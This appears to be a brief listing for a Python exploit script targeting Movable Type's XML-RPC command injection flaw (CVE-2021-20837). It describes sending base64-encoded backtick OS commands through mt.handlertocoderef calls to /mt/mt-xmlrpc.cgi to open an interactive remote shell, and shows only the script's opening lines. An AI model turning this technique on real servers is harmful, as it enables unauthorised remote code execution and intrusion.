Movable Type - XML-RPC Command Injection (CVE-2021-20837)

Exploits CVE-2021-20837 by sending mt.handlertocoderef XML-RPC calls with base64-encoded backtick OS commands to /mt/mt-xmlrpc.cgi. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Movable Type XML-RPC mt.handlertocoderef RCE CVE-2021-20837 — opens execute...